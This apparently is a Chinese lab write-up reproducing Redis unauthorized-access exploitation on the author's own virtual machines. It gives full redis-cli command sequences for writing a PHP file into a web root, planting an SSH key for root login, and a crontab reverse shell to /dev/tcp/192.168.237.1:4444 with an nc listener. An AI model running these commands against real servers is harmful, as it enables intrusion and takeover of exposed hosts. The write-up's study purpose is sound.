目录

redis未授权访问漏洞复现

数据库的写操作可以做什么

# 漏洞原理

利用条件:

  • 版本:Redis 3.2前
  • 默认端口:6379
  • 默认密码:无
  • IP:0.0.0.0 (任意用户)

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。Redis像mysql一样,可以向文件里写入内容,例如webshell。

在Redis 3.2以后引入了安全配置项protected-mode,默认只允许本地访问且需要密码验证,3.2以后版本需要手动更改配置复现该漏洞

新版本redis可能要ssrf来利用了

一些利用姿势:

  • 写入webshell
  • crontab里写定时任务反弹shell
  • 写入ssh密钥,直接登录服务器

警告

在linux环境下,如果以root身份运行Redis,只要能够通过Redis未授权访问控制漏洞写入一份ssh公钥,可以直接实现root权限登录

# windows环境复现

靶机:

  • os:windows 10
  • redis:3.0.504
  • IP:192.168.237.136

攻击机:

  • os:windows 10
  • IP:192.168.237.1

补充:在靶机里使用的phpstudy搭建的web环境,以及phpstudy自带的redis,phpstudy为了安全,默认给redis设置了仅本地可访问,改成0.0.0.0

关于连接redis,我主机(攻击机)里使用的也是phpstudy,也下载一个redis,里面有redis-cli.exe,可以连接靶机redis,可以用kali作为攻击机,自带redis客户端连接工具以子之矛,攻子之盾,则何如

使用redis数据库连接工具也可以

1

最后,redis别忘启动

# 准备

phpstudy自带的redis,phpstudy为了安全,默认给redis设置了仅本地可访问,改成0.0.0.0

2

攻击机phpstudy安装redis,进入redis目录,存在redis-cli.exe

3

# 写入webshell

在redis安装目录打开终端

用法: ./redis-cli.exe -h ip -p port

./redis-cli.exe -h 192.168.237.136 -p 6379
1

使用info命令获取系统信息

info
1

4

有了。如果知道web路径,可以写入webshell,可以通过phpinfo()获取web路径,不知道web路径哪里提前写入了phpinfo()?你存心找茬是不是,我写webshell的能给你假路径?

5

写入webshell

补充一些redis指令(不区分大小写):

CONFIG SETRedis 的配置命令,用于动态修改 Redis 服务器的运行时配置,而无需重新启动服务器

语法:CONFIG SET <配置项> <值>

常用配置项:

  • dir :设置 Redis 保存数据文件的目录
CONFIG SET dir "/path/to/directory/"
1
  • dbfilename : 设置 Redis 保存数据时的文件名
CONFIG SET dbfilename "1.php"
1

SET:设置键值对,将用户提供的值与指定的键绑定,保存到 Redis 数据库中

语法:SET <key> <value>

set shell "<?php phpinfo();?>"
1

SAVE:将当前内存中的数据保存到指定的文件中

save
1

前面phpinfo获取web路径c:/phpstudy/phpstudy_pro/WWW/,开搞

后面的端口参数可以省略的如果是默认的6379

./redis-cli.exe -h 192.168.237.136 -p 6379
config set dir "c:/phpstudy/phpstudy_pro/WWW/"
config set dbfilename "1.php"
set shell "<?php phpinfo();?>"
save
1
2
3
4
5

成功写入webshell,有点脏数据,不影响

6

# linux环境复现准备

上面说了,新版本redis需要手动更改配置复现该漏洞,可以选老版本自己编译

redis发布版下载地址:https://download.redis.io/releases/

靶机环境准备:

  • os:ubuntu 22.04 server
  • redis 3.0.0

编译环境

sudo apt update
sudo apt install build-essential tcl
1
2

下载源码

wget http://download.redis.io/releases/redis-3.0.0.tar.gz
tar xzf redis-3.0.0.tar.gz
cd redis-3.0.0
1
2
3

编译,编译过程报错不要怕,是warning(x)

make
1

不放心可以测试下

make test
1

7

到src目录下安装

cd src
sudo make install
ls /usr/local/bin/redis-server
ls /usr/local/bin/redis-cli
redis-server --version
redis-cli --version
1
2
3
4
5
6

查看版本,返回版本信息就是成功安装

8

# linux环境复现

  • 写入webshell
  • 定时任务反弹shell
  • 写入ssh密钥登录服务器

web目录需要有写的权限

chmod 777 /var/www/html
1

ssh密钥登录root需要root用户启动redis,听起来有点幽默,复现这三个姿势那就直接root启动了

sudo redis-server
1

9

靶机:

  • os:ubuntu 22.04 server
  • redis 3.0.0
  • IP:192.168.237.140

攻击机:

  • os:windows 10 ,
  • IP:192.168.237.128

建议选择kali,在kali比较舒服,选择win10比较折腾了,束手束脚

# 写入webshell

建议选择kali操作

连接redis,使用config set,set,save等命令写入就可以了

redis-cli -h 192.168.237.140 -p 6379
config set dir /var/www/html
config set dbfilename 1.php
set shell "<?php phpinfo();?>"
save
1
2
3
4
5

10

# 写入ssh公钥

原理就是在数据库中插入一条数据,将本机的公钥作为value,(key值随意),然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key

生成一对key,全选默认即可:

ssh-keygen -t rsa
1

14

去ssh生成的目录下,将公钥导入key.txt文件(前后用\n\n换行,避免和Redis里其他缓存数据混合)

cd /home/ajay/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
1
2

把key.txt文件内容写入目标主机的缓冲里

cat key.txt | redis-cli -h 192.168.237.140 -x set sshpub
1

连接目标主机的Redis,设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

注意删除缓存里无关的键值对,避免写入公钥里影响登录

redis-cli -h 192.168.237.140 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
keys *
del shell
get sshpub
save
1
2
3
4
5
6
7

15

ssh登录

ssh root@192.168.237.140
1

成功免密登录,查看下密钥,感觉有点怪怪的,为什么可以?

16

# 反弹shell

定时任务路径

  • linux通用:/etc/crontab
  • ubuntu:/var/spool/cron/crontabs/当前用户
  • centos:/var/spool/cron/当前用户

通过定时任务crontab里写入新任务,反弹shell 原理是和写webshell、公钥一样的,只是变换一下写入的内容和路径,数据库名

警告

写入定时任务注意查看当前redis有哪些键值对,避免把其他无关键值对写进去影响定时任务格式导致无法执行

避免影响,都删了

keys *
del 键名
1
2

11

现在可以写定时任务反弹shell了

开个终端监听反弹的shell

nc -lvnp 4444
1

开个终端写入反弹shell定时任务

警告

如果使用的centos,这里你可能会执行成功,反弹shell。如果是ubuntu,过程比较曲折,中间大部分是补充内容,且最后也没有利用成功,为什么有师傅ubuntu能成功?可恶,难道这就是这副身躯的极限了吗?

./redis-cli -h 192.168.237.140 -p 6379

# 每分钟反弹一次
set shell "\n\n*/1 * * * *  bash -c \"bash -i  >&/dev/tcp/192.168.237.1/4444 0>&1\""
config set dir /var/spool/cron/
config set dbfilename root
save
1
2
3
4
5
6
7

一直收不到shell,看其他师傅讲两种情况,更站向第二种解释,后面还有第三种解释

提示

  • 由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败
  • ubuntu下执行定时任务使用的shell是/bin/sh指向dash,而dash并不支持bash -i,导致命令执行失败

失败报错:/bin/sh: 1: /bin/bash -i >& /dev/tcp/192.168.0.106/7777 0>&1: not found

可以知道ubuntu执行定时任务使用的shell是/bin/sh

gzctf@ubuntu:~$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Mar 23  2022 /bin/sh -> dash
1
2

又可以知道ubuntu的/bin/sh指向了dash

了解一下,dash是什么

dash 是 Ubuntu 和许多其他 Linux 发行版上的默认系统 shell,尤其是在脚本执行时,如:定时任务。它比 bash 更加轻量,并且兼容性有所差异。bash -i 代表启动一个交互式 shell,而 dash 不支持 -i 选项,因为它不需要启动交互式 shell

所以,dash在执行定时任务里的bash -i ...不会成功执行。centos可以成功执行是因为centos执行定时任务使用的shell是/bin/bash

12

失败原因及两种解决方案:

师傅博客:解决ubuntu crontab反弹shell失败的问题 (opens new window)

13

两种解决方案:

  • 给ubuntu的dash打个软连接到/bin/sh(bash),曲线救国
  • 使用/bin/bash -c代替bash -i

# 改变ubuntu执行定时任务的默认shell

改变ubuntu执行定时任务的默认shell/bin/sh改为bash

sudo ln -s -f bash /bin/sh
1

漏洞复现可以改回dash

sudo ln -s -f dash /bin/sh
1
./redis-cli -h 192.168.237.140 -p 6379

# 每分钟反弹一次
set shell "\n* * * * * bash i >& /dev/tcp/192.168.237.1/4444 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
1
2
3
4
5
6
7

倒下了,还是没有成功

# 计划任务为何没有成功反弹shell

写计划任务反弹shell存在系统限制,这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同

Centos的定时任务文件在/var/spool/cron/<username>

Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

思考:这里windows只写了通过redis写入webshell,没有web服务什么都做不了了吗?windows还可以通过覆盖重要系统dll文件,利用redis的主从功能,写入dbghelp.dll文件,达到在redis执行BGSAVE或者BGREWRITEAOF命令时redis加载dll的目的

参考、致谢:

最后一次更新于: 2024/12/06, 08:15:36